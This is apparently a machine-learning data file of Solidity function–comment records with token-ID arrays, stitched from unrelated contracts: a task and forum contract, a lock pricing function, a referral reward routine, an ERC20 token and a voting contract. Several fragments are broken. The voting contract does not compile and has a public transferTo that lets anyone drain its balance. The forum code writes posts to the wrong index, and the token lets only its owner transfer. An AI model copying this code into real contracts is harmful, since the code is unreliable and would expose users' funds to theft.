TaskAnswer memory answer; // 设定id answer.id = ++allTaskList[_taskIndex].answerCount; // 设定回答内容 answer.detail = _detail; // 设定回答提交时间 answer.postTime = block.timestamp; // 设定作答者地址 answer.answerAddress = msg.sender; // 加入回答列表 answerList[_taskIndex].push(answer); } // get该任务下的回答 function getThisTaskAnswer(uint _taskIndex) external view returns (TaskAnswer[] memory) { require(_taskIndex <= taskIndex, "Task Not Exists"); TaskAnswer[] memory _List = new TaskAnswer[](allTaskList[_taskIndex].answerCount); for (uint i = 0; i < allTaskList[_taskIndex].answerCount; i++) { _List[i] = answerList[_taskIndex][i]; } return _List; } // 设定任务失败 // 内部调用 function _taskFailed(uint _taskIndex) internal { // 重新设定为未接受状态 allTaskList[_taskIndex].isAccept = false; } // 外部调用 function taskFailed(uint _taskIndex) external { require(_taskIndex <= taskIndex, "Task Not Exists"); _taskFailed(_taskIndex); } // 确认任务是否完成 function taskCompelte(uint _taskIndex, uint _answerIndex, bool _isAdopt) external { require(_taskIndex <= taskIndex, "Task Not Exists"); if (_isAdopt) { allTaskList[_taskIndex].isSolved = true; if (allTaskList[_taskIndex].isAnswerInRush) { // 创建者账户向抢答者账户转入积分(抵押金+奖金)2+10 _transfer(administrator, taskIdToAnswerRusher[_taskIndex], 12); } else { // 创建者账户向被采纳者账户转入积分(奖金) _transfer(administrator, answerList[_taskIndex][_answerIndex].answerAddress, 10); } } else { _taskFailed(_taskIndex); } } // 社区(跳骚市场) // 帖子 struct Posts { uint id; uint postTime; // 悬赏金 uint reward; // 该帖子下的回复数 uint replyCounts; string title; string description; // 类型 string tag; string[] imageLink; address postUserAdd; } // 储存所有帖子 mapping(uint => Posts) postsList; // 发帖 function createPosts(string memory _title, string memory _description, string memory _tag, string[] memory _imageLink, uint _reward) external { Posts memory _post; _post.id = postsIndex; _post.postTime = block.timestamp; _post.reward = _reward; _post.replyCounts = 0; _post.title = _title; _post.description = _description; _post.tag = _tag; _post.imageLink = _imageLink; _post.postUserAdd = msg.sender; // 加入帖子列表 postsList[policeIndex] = _post; postsIndex++; } // get帖子列表 function getPostsList() external view returns (Posts[] memory) { // require(postsIndex > 0, "No Posts Found"); Posts[] memory _List = new Posts[](postsIndex); for (uint i = 0; i < postsIndex; i++) { _List[i] = postsList[i]; } return _List; } // 回复 struct PostsReply { // 所属帖子id uint postsId; // 楼层 uint floor; // 层级 // 一级回复 = 1 二级回复 = 2 uint level; uint postTime; // 回复内容 string details; address postUserAdd; } // 储存帖子下的所有回复 帖子id => 对应所有回复 mapping(uint => PostsReply[]) replyListOfPosts; // 发送回复 function createPostsReply(uint _postsIndex, string memory _details) external { PostsReply memory _reply; _reply.postsId = _postsIndex; _reply.floor = ++postsList[_postsIndex].replyCounts; _reply.level = 1; _reply.postTime = block.timestamp; _reply.details = _details; _reply.postUserAdd = msg.sender; // 加入回复列表 replyListOfPosts[_postsIndex].push(_reply); } // // 二级回复(楼中楼) // function createSecondReply(uint _postsIndex, uint floor, string memory _details) external { // PostsReply memory _reply; // _reply.postsId = _postsIndex; // _reply.floor = floor; // _reply.level = 2; // _reply.postTime = block.timestamp; // _reply.details = _details; // _reply.postUserAdd = msg.sender; // // 加入回复列表 // replyListOfPosts[_postsIndex].push(_reply); // } // get指定贴子下的所有回复 function getThisPostsReply(uint _postsIndex) external view returns (PostsReply[] memory) { require(_postsIndex <= postsIndex, "Post Not Exists"); PostsReply[] memory _List = new PostsReply[](postsList[_postsIndex].replyCounts); for (uint i = 0; i < postsList[_postsIndex].replyCounts; i++) { _List[i] = replyListOfPosts[_postsIndex][i]; } return _List; } }
get帖子列表 require(postsIndex > 0, "No Posts Found");
function getPostsList() external view returns (Posts[] memory) { Posts[] memory _List = new Posts[](postsIndex); for (uint i = 0; i < postsIndex; i++) { _List[i] = postsList[i]; } return _List; }
12,634,527
[ 1, 588, 166, 121, 249, 166, 260, 243, 166, 235, 250, 169, 99, 106, 2583, 12, 11660, 1016, 405, 374, 16, 315, 2279, 5616, 87, 10750, 8863, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14150, 21576, 1435, 3903, 1476, 1135, 261, 24983, 8526, 3778, 13, 288, 203, 3639, 5616, 87, 8526, 3778, 389, 682, 273, 394, 5616, 87, 8526, 12, 11660, 1016, 1769, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 10775, 1016, 31, 277, 27245, 288, 203, 5411, 389, 682, 63, 77, 65, 273, 10775, 682, 63, 77, 15533, 203, 3639, 289, 203, 3639, 327, 389, 682, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/8453/0xCD9C9b40D757b56359e19563203D3bc64089638d/sources/contracts/past-versions/PublicLockV13.sol
* A function which lets the owner of the lock change the pricing for future purchases. This consists of 2 parts: The token address and the price in the given token. In order to set the token to ETH, use 0 for the token Address./
function updateKeyPricing(uint _keyPrice, address _tokenAddress) external { _onlyLockManager(); _isValidToken(_tokenAddress); uint oldKeyPrice = keyPrice; address oldTokenAddress = tokenAddress; keyPrice = _keyPrice; tokenAddress = _tokenAddress; emit PricingChanged(oldKeyPrice, keyPrice, oldTokenAddress, tokenAddress); }
16,778,745
[ 1, 37, 445, 1492, 14557, 326, 3410, 434, 326, 2176, 2549, 326, 31765, 364, 3563, 5405, 343, 3304, 18, 1220, 20915, 434, 576, 2140, 30, 1021, 1147, 1758, 471, 326, 6205, 316, 326, 864, 1147, 18, 657, 1353, 358, 444, 326, 1147, 358, 512, 2455, 16, 999, 374, 364, 326, 1147, 5267, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 1089, 653, 52, 1512, 310, 12, 11890, 389, 856, 5147, 16, 1758, 389, 2316, 1887, 13, 3903, 288, 203, 565, 389, 3700, 2531, 1318, 5621, 203, 565, 389, 26810, 1345, 24899, 2316, 1887, 1769, 203, 565, 2254, 1592, 653, 5147, 273, 498, 5147, 31, 203, 565, 1758, 1592, 1345, 1887, 273, 1147, 1887, 31, 203, 565, 498, 5147, 273, 389, 856, 5147, 31, 203, 565, 1147, 1887, 273, 389, 2316, 1887, 31, 203, 565, 3626, 453, 1512, 310, 5033, 12, 1673, 653, 5147, 16, 498, 5147, 16, 1592, 1345, 1887, 16, 1147, 1887, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0xb982380E244bDb46FBd7b146F371ADB758cE5C79/sources/SellPrivate.sol
this one will block refer before day unblock
function checkLimitAndSentReward( address _refer, uint256 bonus ) private { User storage user = users[_refer]; uint256 currentTotalJUS = user.totalREF.add(bonus); if (_refer == address_refer) { sendTransferReward(_refer, bonus); if (currentTotalJUS <= totalJUSonETHReward) { user.totalREF = user.totalREF.add(bonus); if(block.timestamp <= dayUnblock){ user.totalREFBlock = user.totalREFBlock.add(bonus); uint256 totalRef = user.totalREFBlock.add(bonus); sendTransferReward(_refer, totalRef); user.totalREFBlock = 0; } } } }
8,766,951
[ 1, 2211, 1245, 903, 1203, 8884, 1865, 2548, 640, 2629, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 866, 3039, 1876, 7828, 17631, 1060, 12, 203, 3639, 1758, 389, 266, 586, 16, 203, 3639, 2254, 5034, 324, 22889, 203, 565, 262, 3238, 288, 203, 3639, 2177, 2502, 729, 273, 3677, 63, 67, 266, 586, 15533, 203, 3639, 2254, 5034, 783, 5269, 46, 3378, 273, 729, 18, 4963, 10771, 18, 1289, 12, 18688, 407, 1769, 203, 3639, 309, 261, 67, 266, 586, 422, 1758, 67, 266, 586, 13, 288, 203, 5411, 1366, 5912, 17631, 1060, 24899, 266, 586, 16, 324, 22889, 1769, 203, 5411, 309, 261, 2972, 5269, 46, 3378, 1648, 2078, 46, 3378, 265, 1584, 15024, 359, 1060, 13, 288, 203, 7734, 729, 18, 4963, 10771, 273, 729, 18, 4963, 10771, 18, 1289, 12, 18688, 407, 1769, 203, 7734, 309, 12, 2629, 18, 5508, 1648, 2548, 984, 2629, 15329, 203, 5375, 729, 18, 4963, 10771, 1768, 273, 729, 18, 4963, 10771, 1768, 18, 1289, 12, 18688, 407, 1769, 203, 10792, 2254, 5034, 2078, 1957, 273, 729, 18, 4963, 10771, 1768, 18, 1289, 12, 18688, 407, 1769, 203, 10792, 1366, 5912, 17631, 1060, 24899, 266, 586, 16, 2078, 1957, 1769, 203, 10792, 729, 18, 4963, 10771, 1768, 273, 374, 31, 203, 7734, 289, 203, 5411, 289, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.19; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract AdviserCasperToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AdviserCasperToken() public { symbol = "ACST"; name = "Adviser Csper Token"; decimals = 18; _totalSupply = 440000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public onlyOwner returns (bool success) { require(msg.sender == owner); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { require(msg.sender == owner); allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(msg.sender == owner); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } }
------------------------------------------------------------------------ Transfer the balance from token owner's account to `to` account - Owner's account must have sufficient balance to transfer - 0 value transfers are allowed ------------------------------------------------------------------------
function transfer(address to, uint tokens) public onlyOwner returns (bool success) { require(msg.sender == owner); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; }
1,329,404
[ 1, 29461, 12279, 326, 11013, 628, 1147, 3410, 1807, 2236, 358, 1375, 869, 68, 2236, 300, 16837, 1807, 2236, 1297, 1240, 18662, 11013, 358, 7412, 300, 374, 460, 29375, 854, 2935, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 358, 16, 2254, 2430, 13, 1071, 1338, 5541, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 3639, 324, 26488, 63, 3576, 18, 15330, 65, 273, 324, 26488, 63, 3576, 18, 15330, 8009, 1717, 12, 7860, 1769, 203, 3639, 324, 26488, 63, 869, 65, 273, 324, 26488, 63, 869, 8009, 1289, 12, 7860, 1769, 203, 3639, 12279, 12, 3576, 18, 15330, 16, 358, 16, 2430, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.18; contract Voting { address owner; // The address of the owner. Set in 'Ballot()' bool optionsFinalized; // Whether the owner can still add voting options. string ballotName; // The ballot name. uint registeredVoterCount; // Total number of voter addresses registered. uint ballotEndTime; // End time for ballot after which no changes can be made. (seconds since 1970-01-01) struct Voter { address voterAddress; uint tokensBought; uint[] tokensUsedPerCandidate; bool voted; bool isEligibleToVote; uint votedFor; } struct VotingOption { string name; // Name of this voting option uint voteCount; // Number of accumulated votes. address[] voters; // Keep track of addresses that selected this option } /* * Modifier to only allow the owner/voter to call a function. */ modifier onlyOwner { require(msg.sender == owner) _; } modifier onlyVoter { require(voterInfo[msg.sender].voterAddress != 0); _; } mapping (address => Voter) public voterInfo; mapping (bytes32 => uint) public votesReceived; bytes32[] public candidateList; VotingOption[] public votingOptions; // dynamically sized array of 'VotingOptions' uint public totalTokens; uint public balanceTokens; uint public tokenPrice; function Voting(uint _tokens, uint _pricePerToken, bytes32[] _candidateNames, string _ballotName, uint _ballotEndTime) public { require(now < _ballotEndTime); owner = msg.sender candidateList = _candidateNames; totalTokens = _tokens; balanceTokens = _tokens; tokenPrice = _pricePerToken; optionsFinalized = false; ballotName = _ballotName; registeredVoterCount = 0; ballotEndTime = _ballotEndTime; } function addVotingOption(string _votingOptionName) onlyOwner { require(now < ballotEndTime); require(optionsFinalized == false); // Check we are allowed to add options. votingOptions.push(VotingOption({ name: _votingOptionName, voteCount: 0, voters: [] })); } /* * Call this once all options have been added, this will stop further changes * and allow votes to be cast. * NOTE: this can only be called by the ballot owner. */ function finalizeVotingOptions() onlyOwner { require(now < ballotEndTime); require(votingOptions.length > 2); optionsFinalized = true; // Stop the addition of any more options. } function buy() payable public returns (uint) { uint tokensToBuy = msg.value / tokenPrice; require(tokensToBuy <= balanceTokens); voterInfo[msg.sender].voterAddress = msg.sender; voterInfo[msg.sender].tokensBought += tokensToBuy; balanceTokens -= tokensToBuy; return tokensToBuy; } function giveRightToVote(address _voter) onlyOwner { require(now < ballotEndTime); voters[_voter].isEligibleToVote = true; registeredVoterCount += 1; // Increment registered voters. } function vote(bytes32 candidate, uint votesInTokens) { // leaving egalitarian for now... will incorporate weighted (token based) voting later require(now < ballotEndTime); require(optionsFinalized == true); // If the options are not finalized, we cannto vote. uint votingOptionIndex = indexOfCandidate(candidate); require(votingOptionIndex != uint(-1)) Voter voter = voters[msg.sender]; // Get the Voter struct for this sender. require(voter.isEligibleToVote == true); if(voter.voted == true) // If the voter has already voted then we need to remove their prev vote choice. votingOptions[voter.votedFor].voteCount -= 1; voter.voted = true; voter.votedFor = votingOptionIndex; votingOptions[votingOptionIndex].voteCount += 1; votingOptions[voters] } function totalVotesFor(bytes32 candidate) view public returns (uint) { return votesReceived[candidate]; } function totalTokensUsed(uint[] _tokensUsedPerCandidate) private pure returns (uint) { uint totalUsedTokens = 0; for(uint i = 0; i < _tokensUsedPerCandidate.length; i++) { totalUsedTokens += _tokensUsedPerCandidate[i]; } return totalUsedTokens; } function indexOfCandidate(bytes32 candidate) view public returns (uint) { for(uint i = 0; i < candidateList.length; i++) { if (candidateList[i] == candidate) { return i; } } return uint(-1); } function tokensSold() view public returns (uint) { return totalTokens - balanceTokens; } function voterDetails(address user) view public returns (uint, uint[]) { return (voterInfo[user].tokensBought, voterInfo[user].tokensUsedPerCandidate); } function transferTo(address account) public { account.transfer(this.balance); } function allCandidates() view public returns (bytes32[]) { return candidateList; } function getBallotName() returns (string) { return ballotName; } function getVotingOptionsLength() returns (uint) { return votingOptions.length; } function getRegisteredVoterCount() returns (uint) { return registeredVoterCount; } function getVotingOptionsName(uint _index) returns (string) { return votingOptions[_index].name; } function getVotingOptionsVoteCount(uint _index) returns (uint) { return votingOptions[_index].voteCount; } function getOptionsFinalized() returns (bool) { return optionsFinalized; } function getBallotEndTime() returns (uint) { return ballotEndTime; } }
Modifier to only allow the owner/voter to call a function./
modifier onlyOwner { require(msg.sender == owner) _; }
5,385,030
[ 1, 9829, 358, 1338, 1699, 326, 3410, 19, 90, 20005, 358, 745, 279, 445, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5541, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 13, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 